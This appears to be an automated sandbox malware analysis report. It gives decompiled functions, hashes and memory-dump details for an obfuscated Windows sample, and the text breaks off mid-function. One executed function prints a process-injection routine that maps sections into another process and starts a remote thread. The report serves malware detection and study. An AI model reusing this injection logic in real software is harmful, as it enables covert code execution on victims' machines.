COMMONCrypto

Download Yara Rule

C-Code - Quality: 53%

			E0040244C(signed int __ebx, intOrPtr __edi, signed int __esi, void* __eflags, void* __fp0, void* _a126704157, void* _a126721539, void* _a934638997, void* _a939215389, void* _a939490845, void* _a1440472949, void* _a1693713902, void* _a1920138973) {
				void* _v3;
				void* _v1724559843;
				void* _t131;
				signed int _t132;
				signed int _t209;
				void* _t226;
				void* _t227;
				signed int _t234;
				signed int _t252;
				signed int _t260;
				signed int _t264;
				void* _t265;
				void* _t275;
				intOrPtr _t277;
				void* _t278;
				void* _t282;
				void* _t326;

				_t326 = __fp0;
				_t275 = __eflags;
				_t252 = __esi;
				_t211 = __ebx;
				_t260 = _t264;
				_t265 = _t264 - 0x3c;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t131 = 0x2491;
				_t226 = 0x2a4;
				_t234 = 0x72;
				_t132 = E0040119E(_t131, __ebx, _t226, _t234, __edi, __esi, __eflags, __fp0);
				_t227 = 0x37;
				asm("invalid");
				if(_t275 < 0) {
					if (_t282 < 0) goto L50;
					if (_t282 < 0) goto L51;
					if(_t282 < 0) {
						_push(es);
					} else {
						if (_t282 < 0) goto L76;
						asm("sbb al, 0x72");
					}
				} else {
					asm("stc");
					asm("das");
					if(_t275 != 0) {
						__eflags = __ebx ^ _t260;
						 *((intOrPtr*)(__edi + 0x33)) = __edi;
						asm("aaa");
						asm("repne xor [ebp+esi+0x458b2727], al");
						asm("cld");
						return _t132;
					} else {
						_t252 =  *(_t234 + 0x72) * 0x72;
						 *_t132 =  *_t132 + _t234;
						asm("sbb edx, [edi]");
						_push(ss);
						_push(ds);
						_push(ds);
						if( *_t132 < 0) {
							if(_t278 >= 0) {
								asm("arpl [ecx*4-0x4d0895df], sp");
							}
							_t234 = _t132 *  *(_t227 + 0x70) >> 0x20;
							_t209 = _t132 *  *(_t227 + 0x70);
						} else {
							 *0x191d1d1a =  *0x191d1d1a + _t132;
							_t277 =  *0x191d1d1a;
							if(_t277 >= 0) {
								asm("sbb al, 0xa");
							}
							_t211 = _t211 |  *_t234;
							asm("sbb [edx+0x72], esi");
						}
					}
				}
			}

0x0040244c
0x0040244c
0x0040244c
0x0040244c
0x0040244d
0x0040244f
0x00402452
0x00402453
0x00402454
0x00402461
0x00402474
0x00402484
0x0040248c
0x00402491
0x00402493
0x00402496
0x0040250a
0x0040250c
0x0040250e
0x00402527
0x00402510
0x00402510
0x00402511
0x00402511
0x00402498
0x00402498
0x00402499
0x0040249a
0x00402436
0x00402438
0x0040243b
0x0040243c
0x00402444
0x00402449
0x0040249c
0x0040249c
0x004024a0
0x004024a2
0x004024a4
0x004024a5
0x004024a6
0x004024a7
0x004024bc
0x004024be
0x004024be
0x004024c6
0x004024c6
0x004024a9
0x004024a9
0x004024a9
0x004024af
0x004024b1
0x004024b1
0x004024b2
0x004024b4
0x004024b4
0x004024a7
0x0040249a

Strings

', xrefs: 0040268F
2, xrefs: 004026B2

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: '$2
API String ID: 0-4219222353
Opcode ID: 74304849074f6d434b87535e89282f4ea6f858761e5f4b4fa59ee5e2d557e78f
Instruction ID: 8dfda72a7efb712e5bc2bab99a901f3d7e8b98dcdc7743f55b88b435e83f9112
Opcode Fuzzy Hash: 74304849074f6d434b87535e89282f4ea6f858761e5f4b4fa59ee5e2d557e78f
Instruction Fuzzy Hash: 25E19B324752A2BBCF0E8A309F3D1CABB53AA5770475809B7C8417B1F2D1FE4546868D

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5CD Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.306628225.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44053b54bdebeba7d557c541074e9c7005cf40955dd2b164e6a1709b6e592030
Instruction ID: dd2c9a039c14af52944524f26e8c1a7d15ef61f9aa870912d3af289de3b57e25
Opcode Fuzzy Hash: 44053b54bdebeba7d557c541074e9c7005cf40955dd2b164e6a1709b6e592030
Instruction Fuzzy Hash: 36A1CE31110609CFD718CF19C496A657BA0FF44354F248AAEE9DA9F3E1C739D961CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0040273F Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dca85ce7b8bea0f7539c47682ceb389a294c6e8f651fc70695933f315ab76d1
Instruction ID: b531a5069db43dd3f2511401e5d96438191eb79144dad8b4425a429f8fc9dc13
Opcode Fuzzy Hash: 4dca85ce7b8bea0f7539c47682ceb389a294c6e8f651fc70695933f315ab76d1
Instruction Fuzzy Hash: CE21CE6624D7A0DFD706B63486486E3BB806B173107A40A77C4432F2D6D5EA8D07D25F

Uniqueness

Uniqueness Score: -1.00%

Function 0040234C Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35ae5cc263b79e014aeaffe8d429262f26e84534b0262cf500adc124cd1032d4
Instruction ID: 1f4278f36a20d13c71fe966deb309bd134cc4d802f599e505df534074f72039f
Opcode Fuzzy Hash: 35ae5cc263b79e014aeaffe8d429262f26e84534b0262cf500adc124cd1032d4
Instruction Fuzzy Hash: 6E113A91A0824EA6DB021B71C70A8E5B7689B033D1F70456799437A4CAF27D444B9FDB

Uniqueness

Uniqueness Score: -1.00%

Function 023D2901 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.306905404.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16c6a0ae876edf5af0ab76c36ba625c31a3a5735da8af48979c25278dba5da6f
Instruction ID: 7709f885bc3db7502caa1b20286fcc52453fe4274685176655697aa01db53bb3
Opcode Fuzzy Hash: 16c6a0ae876edf5af0ab76c36ba625c31a3a5735da8af48979c25278dba5da6f
Instruction Fuzzy Hash: 4811E9236497926EEB91AB3490416C7BBE0AE5331439838BEC5839B403D9329506E7C5

Uniqueness

Uniqueness Score: -1.00%

Function 0040289A Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff9946daed32d8728c44b2588b9b0679aa41ae813fa4294fe1c1a5ca5924ae70
Instruction ID: 91c0702a249521946f87d2af308510829925ed9829cfb70eb77170fea1ea07e8
Opcode Fuzzy Hash: ff9946daed32d8728c44b2588b9b0679aa41ae813fa4294fe1c1a5ca5924ae70
Instruction Fuzzy Hash: C0110C236097916EEB926B3480456C7BBE0BE5331439868FEC5839B443D9329006E7C5

Uniqueness

Uniqueness Score: -1.00%

Function 00402363 Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00402363(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t24;

				_t24 = __edi;
				_t12 = __ebx;
				_push(0xd8);
			}

0x00402363
0x00402363
0x00402384

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44d236dd18ed7cc44e9bc7cce8cfcb1189a40f90aed5ca59781d9a2641908dc6
Instruction ID: 79fb33f1a6b92fa151747cb447cf21f99dcade41ae5ed3c016d09dcef1a91514
Opcode Fuzzy Hash: 44d236dd18ed7cc44e9bc7cce8cfcb1189a40f90aed5ca59781d9a2641908dc6
Instruction Fuzzy Hash: 5E0148E1A0824BA6DB061BB0C70A4E5B7649B033E1F70456799437A4DAF23D444B9FC7

Uniqueness

Uniqueness Score: -1.00%

Function 00402367 Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00402367(signed int __eax, void* __ebx, void* __edi, void* __esi, void* __fp0) {
				signed char _t8;
				void* _t13;
				void* _t24;
				signed char _t38;

				_t24 = __edi;
				_t13 = __ebx;
				_t8 = __eax ^ 0x000000eb;
				_t38 = _t8;
				_push(0xd8);
			}

0x00402367
0x00402367
0x00402367
0x00402367
0x00402384

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a4084ac02067d2b861d5f45157bb941c608cca232c52e1fc1923edd070f084b
Instruction ID: 2394d781d1a396e978c79df1ce8b3d73b844fb0ff72a99cd8724924ea0ca0197
Opcode Fuzzy Hash: 9a4084ac02067d2b861d5f45157bb941c608cca232c52e1fc1923edd070f084b
Instruction Fuzzy Hash: 2E0148E2A0538FABDB021F70C7064C1BB74AE033E1F744556C442BA49AF225444A8FD2

Uniqueness

Uniqueness Score: -1.00%

Function 00402357 Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00402357(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t23;

				_t23 = __edi;
				_t12 = __ebx;
				_push(0xd8);
			}

0x00402357
0x00402357
0x00402384

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fc9ec9e55a2ebc0c52a8172b38619651972a838da35aad44390c72b2224976e
Instruction ID: adb6130998c19d8165bd49603d583b969caaeb14c07d9f703ab5f15f515ca25a
Opcode Fuzzy Hash: 6fc9ec9e55a2ebc0c52a8172b38619651972a838da35aad44390c72b2224976e
Instruction Fuzzy Hash: 6D016BE1A0924FA6DB060BB0C7065E5B7649F033E1F70466799437A4DAF23D444A9FC7

Uniqueness

Uniqueness Score: -1.00%

Function 00402391 Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00402391(void* __eax, signed int __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				signed int _t12;
				void* _t23;
				signed int _t30;
				signed int _t39;

				_t23 = __edi;
				_t12 = __ebx;
				asm("stc");
				_t39 = _t30 & __ebx;
				_push(0xd8);
			}

0x00402391
0x00402391
0x00402391
0x00402392
0x00402384

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 830207f2b3c8dbf8f98527a2181f82255fe73f89dc76b3c230820449c5672348
Instruction ID: d193cce59a0fcba641c7bd7617ca443eb9802fc1a664c8245c9b7313a9f05954
Opcode Fuzzy Hash: 830207f2b3c8dbf8f98527a2181f82255fe73f89dc76b3c230820449c5672348
Instruction Fuzzy Hash: A20126E2E0528F669B072FB1C7464D1BBB4DD023E2B741545C142BA45BF211448A8FC1

Uniqueness

Uniqueness Score: -1.00%

Function 023D0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.306905404.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 8b5d128b25dd82fe0e75673c4e3ae250793a12e151fe8cc80ded3486169ddbff
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 5D01DB776106048FDF25CF34E904BAA33F5FB85B15F4544BAD506D7242E774A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00402945 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d7ffc448e6ea59591e74f27a1b1e4b3431302e9073b5f3b7d0fd0cdec15c6f2
Instruction ID: 26f0ddb5de8152cd0a6eca3c378174ea3a6d77097bba8faf7fbca0b24d697f01
Opcode Fuzzy Hash: 6d7ffc448e6ea59591e74f27a1b1e4b3431302e9073b5f3b7d0fd0cdec15c6f2
Instruction Fuzzy Hash: 29F0599034C54A9ED20111305F4DC72BF659B83310F340173D883261C580BE490B62AB

Uniqueness

Uniqueness Score: -1.00%

Function 004109DC Relevance: 10.7, APIs: 7, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.306628225.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b777afde16224dc867693fcbf08c6899fb83a7f21235bb0f302538fa3db35350
Instruction ID: 0b9269e43d2530a6fd3a8ec638db62207b45389e501b6254ffdc40e1088f84ca
Opcode Fuzzy Hash: b777afde16224dc867693fcbf08c6899fb83a7f21235bb0f302538fa3db35350
Instruction Fuzzy Hash: AF512271D093159BCF216BB58C046AF3A64AF543A8B20462BF850B72D1DABC98C18B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2E3 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040E309

Part of subcall function 0040E12E: __fltout2.LIBCMT ref: 0040E15A

__cftog_l.LIBCMT ref: 0040E32F
__cftoe_l.LIBCMT ref: 0040E361

Memory Dump Source

Source File: 00000000.00000002.306628225.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 19492c9a9c2abb8f16a0a8787e774dbabf618f5d44fd765466a2522a463b0bd6
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 3911833240014DFBCF225F96CC02CEE3F26BB18394B198826FE1869171C73AD971AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rgtrtasPID: 5908, Parent PID: 1080COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	67.8%
Signature Coverage:	0%
Total number of Nodes:	90
Total number of Limit Nodes:	2

Executed Functions

Function 004014F2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 220
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E004014F2(signed int __eax, void* __ebx, void* __ecx, signed int __edx, void* __fp0) {
				signed int _t13;
				signed int _t22;
				signed int _t24;

				asm("jecxz 0x52");
				if((__edx ^ _t24) != 0) {
					asm("les esp, [esi]");
					asm("daa");
					asm("daa");
					asm("jecxz 0xffffff9f");
					 *(_t24 - 0x336aac21) =  *(_t24 - 0x336aac21) & __eax;
					_push(__eax);
					asm("fnstenv [ebx]");
					asm("fistp word [edi]");
					asm("popfd");
					asm("fcomp st0, st0");
					_t13 = _t22 & 0xcb332727;
					if(_t13 >= 0) {
						asm("fcomp st0, st0");
						_push(0xccbdb09e);
						asm("sbb al, 0xdc");
						asm("repe mov ecx, 0x336d3733");
						asm("aad 0x6a");
					}
					_push(0x1d);
					asm("aas");
					return _t13;
				} else {
					__al = __al + __bl;
					asm("fcomp st0, st0");
					 *__ebx =  *__ebx ^ 0x000000dd;
					__al = __al + __bh;
					__ebp = __ebp ^  *(0x27244c30 + __ebx * 2);
					asm("daa");
					__eax =  *((intOrPtr*)(__ebp - 0xc));
					_pop(__ebx);
					_pop(__ebp);
					return  *((intOrPtr*)(__ebp - 0xc));
				}
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624

Strings

37m3, xrefs: 004014DC

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 37m3
API String ID: 1652636561-2373783482
Opcode ID: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction ID: a8aa84dfcf73c31766574aff20fc3c5bedaa0235d1c96fa093caba5cd892e43f
Opcode Fuzzy Hash: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction Fuzzy Hash: A171C0B5900249BFEB209FA1CC48FEF7BB8EF85700F144569F911AA1E5E7719901CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 205
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00401514(void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				char _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				char _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				void* _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				void* _t176;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				void* _t186;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				intOrPtr _t204;
				void* _t205;
				intOrPtr* _t207;
				void* _t208;
				void* _t209;
				void* _t210;
				long _t225;
				void* _t231;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t207;
				_t208 = _t207 + 4;
				asm("cmc");
				E0040119E(_t86, _t129, _t131, 0xc0, _t176, _t186, __eflags, _t231);
				_t130 = _a4;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				_v96 = _t89;
				_t187 =  &_v100;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 =  &_v52;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 =  &_v44;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push( &_v52);
					_push(_t188);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, 0, 0, 2) == 0) {
						_v12 = 0;
						_t100 =  &_v84;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 =  &_v88;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t123 =  &_v72;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t125 =  &_v64;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189, _v16, _t125, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
									_t204 = _v72;
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t102 =  &_v84;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 = _a12 + 0x10000;
						_t190 =  &_v92;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 && _v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t104 =  &_v76;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t106 =  &_v68;
								 *_t106 = 0;
								_t138 =  &_v60;
								_t225 = NtMapViewOfSection( *_t190, _v16, _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t225 == 0) {
									L25();
									if(_t225 == 0 && _t225 != 0) {
										 *_t138 = _t190;
										_t208 = _t205;
									}
									_t209 = _t208 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 = _v288;
									_t210 = _t209 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t208 = _t210 - _t164;
									_t195 = _a8 +  *_a8;
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if(_v56 == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) + _v76,  *((intOrPtr*)(_t166 + 0x14)) + _a8, _t141);
										_t208 = _t208 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t229 = _v56;
									if(_v56 == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) - _v68;
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) + _v76;
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)(0 + _v76 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 =  &_v8;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))(_v16, 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) + _v68, _v64, _t110, 0);
									} else {
										L58();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t229, _t231, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x38d);
				_push(0xc0);
				asm("les eax, [ebx+ebp*8]");
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 0000000B.00000002.384372419.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_rgtrtas.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction ID: 208a9abdd1aee22c33f973a86314166aafce39c53584160e1e70edf4842307f5
Opcode Fuzzy Hash: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction Fuzzy Hash: 93616175900204FBEB209F91DC89FAF7BB8EF85700F10412AF912BA1E4D7759901DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040152C Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E0040152C(signed int __ebx, signed int __ecx, void* __edi, void* __esi) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t131;
				intOrPtr _t133;
				intOrPtr* _t135;
				long* _t140;
				signed int _t142;
				int _t143;
				signed int _t164;
				signed int _t165;
				signed int _t166;
				void* _t167;
				intOrPtr* _t168;
				void* _t171;
				intOrPtr _t181;
				void* _t182;
				void* _t183;
				intOrPtr* _t189;
				intOrPtr* _t190;
				HANDLE* _t191;
				HANDLE* _t192;
				void* _t197;
				void* _t198;
				intOrPtr* _t201;
				void* _t202;
				void* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				intOrPtr* _t210;
				void* _t211;
				signed char _t212;
				long _t226;
				void* _t232;

				asm("pushfd");
				_t130 = __ebx | __ecx;
				_t212 = __ebx | __ecx;
				_t86 = 0x1561;
				_push(0x38d);
				_t133 =  *_t208;
				_t209 = _t208 + 4;
				asm("cmc");
				E0040119E(_t86, _t130, _t133, 0xc0, __edi, __esi, _t212, _t232);
				_t131 =  *((intOrPtr*)(_t207 + 8));
				 *((intOrPtr*)(_t207 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t207 - 0x34)) =  *((intOrPtr*)(_t207 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t207 - 0x5c)) = _t89;
				_t189 = _t207 - 0x60;
				 *_t189 = 0;
				 *((intOrPtr*)(_t131 + 0x4c))(_t89, _t189);
				_t92 =  *_t189;
				if(_t92 != 0) {
					_t135 = _t207 - 0x30;
					 *_t135 = _t92;
					 *((intOrPtr*)(_t135 + 4)) = 0;
					_t190 = _t207 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t190, 0x18);
					 *_t190 = 0x18;
					_push(_t207 - 0x30);
					_push(_t190);
					_push(0x40);
					_push(_t207 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t207 - 0x10), 0xffffffff, 0xffffffff, _t207 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t207 - 8)) = 0;
						_t100 = _t207 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t191 = _t207 - 0x54;
						if(NtCreateSection(_t191, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t207 - 0x50);
							_t123 = _t207 - 0x44;
							 *_t123 = 0;
